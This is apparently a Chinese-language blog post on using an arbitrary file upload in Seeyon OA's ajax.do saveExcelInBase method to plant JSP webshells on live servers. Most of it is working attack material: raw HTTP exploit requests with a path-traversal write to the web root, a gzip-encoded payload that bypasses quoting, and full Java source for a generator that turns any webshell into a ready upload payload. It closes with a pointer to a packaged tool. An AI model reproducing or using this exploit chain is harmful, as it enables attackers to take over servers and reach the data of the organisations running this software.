Seeyon saveExcelInBase Interface Upload Webshell
最近在实战中遇到了一点小问题,致远 /seeyon/ajax.do 接口存在一个 saveExcelInBase 功能的任意文件上传点。正常上传的文件内容开头和结尾会出现双引号。比如上传的内容为 HelloWorld ,上传成功后访问即变成了 “HelloWorld” 。
1 2 3 4 5 6 7 8 9 POST /seeyon/ajax.do HTTP/1.1 Host : User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 uacq Content-Type : application/x-www-form-urlencoded; charset=UTF-8 Cookie : JSESSIONID=CB1120AE205DAFD7FF70EAF5DC1241B9 Content-Length : 154 Connection : close method=ajaxAction&managerName=fileToExcelManager&managerMethod=saveExcelInBase&arguments=["../webapps/ROOT/ceshi.txt","",{"columnName":['HelloWorld']}]
当上传jsp或者jspx结尾的webshell时,就会导致无法解析。当然网上也存在如下POC,通过生成gzip数据来绕过限制,可正常解析jsp文件,但是这个位置只是展示了几个解析后的字符,不是我们想要的Webshell。
1 2 3 4 5 6 7 8 9 10 POST /seeyon/autoinstall.do/../ajax.do?method=ajaxAction&managerName=fileToExcelManager HTTP/1.1 Host : xxxAccept : */*Accept-Encoding : gzip, deflateContent-Type : application/x-www-form-urlencodedAccept-Language : zh-CN,zh;q=0.9Connection : closeContent-Length : 6357managerMethod= saveExcelInBase&managerName= fileToExcelManager&method= ajaxAction&requestCompress= gzip&arguments= %1 F%C2 %8 B%08 %00 %00 %00 %00 %00 %00 %00 %5 D%C2 %8 D%C3 %81 %0 A%C3 %820 %10 D%7 F%C2 %A5 %2 C%14 %14 B%C3 %A2 %C2 %B9 %C2 %8 A%C3 %A7 %1 E%C3 %84 %C2 %82 %14 %3 C4 %3 D%C2 %A46 %C3 %98 H%C2 %9 A%C2 %84 dC%05 %C3 %B1 %C3 %9 FM%09 zp%C3 %B64 %C2 %8 F%C3 %A5M %07 %C2 %94 %C2 %B2E %0 E%C3 %82 %C2 %B9 %C3 %80 .M%C3 %93 %C2 %B2 %27 %7 D%04 %07 %04 x %3 A+%2 F%C2 %B8Y %1 Dgs%16 %C2 %B3 %C2 %84 %C2 %AA %5 B%C2 %A9 %C3 %A7 %C3 %A6P %166 %22 u%5 E%19 %C3 %94 f%C3 %83 %01 %C2 %BF %C3 %A1 %C2 %B0 %C3 %9 D%17 %C3 %A51 %C2 %BFAO %60 %14 %28 j%29 %C3 %86 %C2 %93 %0 A%C2 %98 %04 %C2 %89 d%C3 %A1U %C3 %A1 %04 %C2 %95 %C2 %89 Z%13 %08 %C2 %93 %C2 %94 %C2 %98 %172 %40 %C2 %85 %C3 %BAWB %1 C%C3 %9 A%C2 %BF %5 EKu%C2 %9 F%C2 %92 nG%C3 %80 %C3 %9 Be%C3 %95 %C2 %BE %C3 %BB %0 F%C3 %8 BJZ%C2 %B7 %C3 %8 A%00 %00 %00
根据作者的代码可以看到解析字符的生成方式,但是我们该如何把<% out.println("ttttttttt"); %>改为自己的webshell代码呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import com.seeyon.ctp.common.excel.DataRecord;import com.seeyon.ctp.common.log.CtpLogFactory;import com.seeyon.ctp.util.ZipUtil;import com.seeyon.ctp.util.json.JSONUtil;import org.apache.commons.logging.Log;import java.net.URLEncoder;import java.util.ArrayList;public class fileToExcelManagerPayload { private static final Log LOGGER = CtpLogFactory.getLog(fileToExcelManagerPayload.class); public static void main (String[] args) { DataRecord d = new DataRecord (); String[] c = {"\"\r\n" +"<% out.println(\"ttttttttt\"); %>" +"\"\r\n" }; d.setColumnName(c); String dd = JSONUtil.toJSONString(d); final ArrayList<Object> list = new ArrayList <>(); list.add("../webapps/ROOT/x.jsp" ); list.add("\"\"" ); list.add(d); final String list1 = JSONUtil.toJSONString(list); String strArgs = ZipUtil.compressResponse(list1, "gzip" , "UTF-8" , LOGGER); System.out.println(URLEncoder.encode(strArgs)); System.out.println("end" ); } }
首先去寻找这五个导入的类,可以从\webapps\seeyon\WEB-INF\lib下找到大量jar文件。
1 2 3 4 5 import com.seeyon.ctp.common.excel.DataRecord;import com.seeyon.ctp.common.log.CtpLogFactory;import com.seeyon.ctp.util.ZipUtil;import com.seeyon.ctp.util.json.JSONUtil;import org.apache.commons.logging.Log;
通过在\webapps\seeyon\WEB-INF\lib下运行下述代码可以快速从大量jar包中找到我们需要的jar包,其中xxx可以填写内容DataRecord,也可以填写内容ctp.common.excel.DataRecord。
1 for %i in (*.jar) do @jar tf "%i" | findstr "xxx" && echo ---- found in %i
运行结果如下所示。
1 2 3 4 5 6 for %i in (*.jar) do @jar tf "%i" | findstr "ctp.util.json.JSONUtil" && echo ---- found in %i com/seeyon/ctp/util/json/JSONUtil$ DateToStringSerializer.class com/seeyon/ctp/util/json/JSONUtil$ FloatToStringSerializer.class com/seeyon/ctp/util/json/JSONUtil.class com/seeyon/ctp/util/json/JSONUtil$ 1.class ---- found in seeyon-util.jar
我们可以很快速的找到需要的jar包。
1 2 3 4 5 com.seeyon.ctp.common.excel.DataRecord ---> seeyon-ctp-core.jar com.seeyon.ctp.common.log.CtpLogFactory ---> seeyon-util.jar com.seeyon.ctp.util.ZipUtil ---> seeyon-util.jar com.seeyon.ctp.util.json.JSONUtil ---> seeyon-util.jar org.apache.commons.logging.Log ---> commons-logging.jar
找到之后在IDEA中将本地Jar作为依赖添加进去即可。当然嫌麻烦的师傅,可以选择将整个/WEB-INF/lib全部导入(这样做的后果就是打包出来的Jar文件超级大)。
然后根据原作者的代码小小的二开一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 import com.seeyon.ctp.common.excel.DataRecord;import com.seeyon.ctp.common.log.CtpLogFactory;import com.seeyon.ctp.util.ZipUtil;import com.seeyon.ctp.util.json.JSONUtil;import org.apache.commons.logging.Log;import java.io.IOException;import java.net.URLEncoder;import java.nio.file.Files;import java.nio.file.Paths;import java.util.ArrayList;import java.util.Random;public class FileToExcelManagerPayload { private static final Log LOGGER = CtpLogFactory.getLog(FileToExcelManagerPayload.class); private static final String DEFAULT_DIR = "../webapps/ROOT/" ; private static final int RANDOM_FILENAME_LENGTH = 6 ; private static final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789" ; public static void main (String[] args) { try { if (args.length == 0 ) { printUsage(); System.exit(1 ); } String jspFilePath = args[0 ]; String address = args.length >= 2 ? args[1 ] : generateRandomFilename(); System.out.println("[+] Reading JSP file: " + jspFilePath); System.out.println("[+] Using address: " + address); String jspContent = readFileContent(jspFilePath); String payload = generatePayload(jspContent, address); System.out.println("\n[+] Generated payload:" ); System.out.println(URLEncoder.encode(payload)); System.out.println("\n[+] Done" ); } catch (Exception e) { System.err.println("[!] Error occurred:" ); e.printStackTrace(); System.exit(1 ); } } private static void printUsage () { System.err.println("Usage: java -Dfile.encoding=UTF-8 -jar ManagerPayload.jar <jspFilePath> [address]" ); System.err.println("Example (random filename): java -Dfile.encoding=UTF-8 -jar ManagerPayload.jar webshell.jsp" ); System.err.println("Example (custom address): java -Dfile.encoding=UTF-8 -jar ManagerPayload.jar webshell.jsp ../webapps/ROOT/test.jsp" ); System.err.println("\nNote: If address is not provided, a random filename will be generated in " + DEFAULT_DIR); } private static String readFileContent (String filePath) throws IOException { return new String (Files.readAllBytes(Paths.get(filePath))); } private static String generateRandomFilename () { Random random = new Random (); StringBuilder sb = new StringBuilder (DEFAULT_DIR); for (int i = 0 ; i < RANDOM_FILENAME_LENGTH; i++) { int index = random.nextInt(CHARACTERS.length()); sb.append(CHARACTERS.charAt(index)); } sb.append(".jsp" ); return sb.toString(); } private static String generatePayload (String jspContent, String address) { DataRecord d = new DataRecord (); String[] c = {"\n\r" + jspContent + "\n\r" }; d.setColumnName(c); ArrayList<Object> list = new ArrayList <>(); list.add(address); list.add("\"\"" ); list.add(d); String jsonPayload = JSONUtil.toJSONString(list); return ZipUtil.compressResponse(jsonPayload, "gzip" , "UTF-8" , LOGGER); } }
嫌麻烦的师傅可以直接下载已经打包好的工具,点击项目地址